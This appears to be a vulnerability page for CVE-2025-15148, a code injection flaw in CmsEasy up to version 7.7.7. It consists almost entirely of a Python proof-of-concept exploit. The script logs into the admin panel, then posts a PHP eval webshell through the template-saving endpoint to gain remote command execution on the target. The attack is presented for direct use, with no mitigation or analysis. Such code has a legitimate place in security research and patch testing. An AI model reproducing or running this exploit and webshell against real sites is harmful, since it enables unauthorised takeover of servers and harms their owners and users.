CmsEasy 7.7.7 代码注入漏洞 (CVE-2025-15148)

# CVE-2025-15148 CmsEasy Code Injection PoC # Target: CmsEasy <= 7.7.7 # Attack Vector: Backend Template Management - savetemp_action # Requirement: Admin privileges import requests import sys TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/index.php" USERNAME = "admin" PASSWORD = "password" def login(session, target_url, admin_path, username, password): """Authenticate to CmsEasy admin panel""" login_url = f"{target_url}{admin_path}?m=admin&c=login&a=check" data = { "username": username, "password": password } response = session.post(login_url, data=data) return "success" in response.text.lower() or response.status_code == 200 def exploit_code_injection(session, target_url, admin_path, payload): """Inject PHP code via template admin function""" exploit_url = f"{target_url}{admin_path}?m=admin&c=template_admin&a=savetemp_action" data = { "content": payload, # Malicious PHP code injection "tempdata": payload # Alternative injection point } headers = { "Content-Type": "application/x-www-form-urlencoded" } response = session.post(exploit_url, data=data, headers=headers) return response def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15148.py <target_url>") sys.exit(1) target = sys.argv[1].rstrip('/') session = requests.Session() # Step 1: Login to admin panel if not login(session, target, ADMIN_PATH, USERNAME, PASSWORD): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Inject malicious PHP code # Example: Write webshell to file webshell = "<?php @eval($_POST['cmd']); ?>" payload = webshell response = exploit_code_injection(session, target, ADMIN_PATH, payload) if response.status_code == 200: print("[+] Code injection successful") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploitation failed") if __name__ == "__main__": main()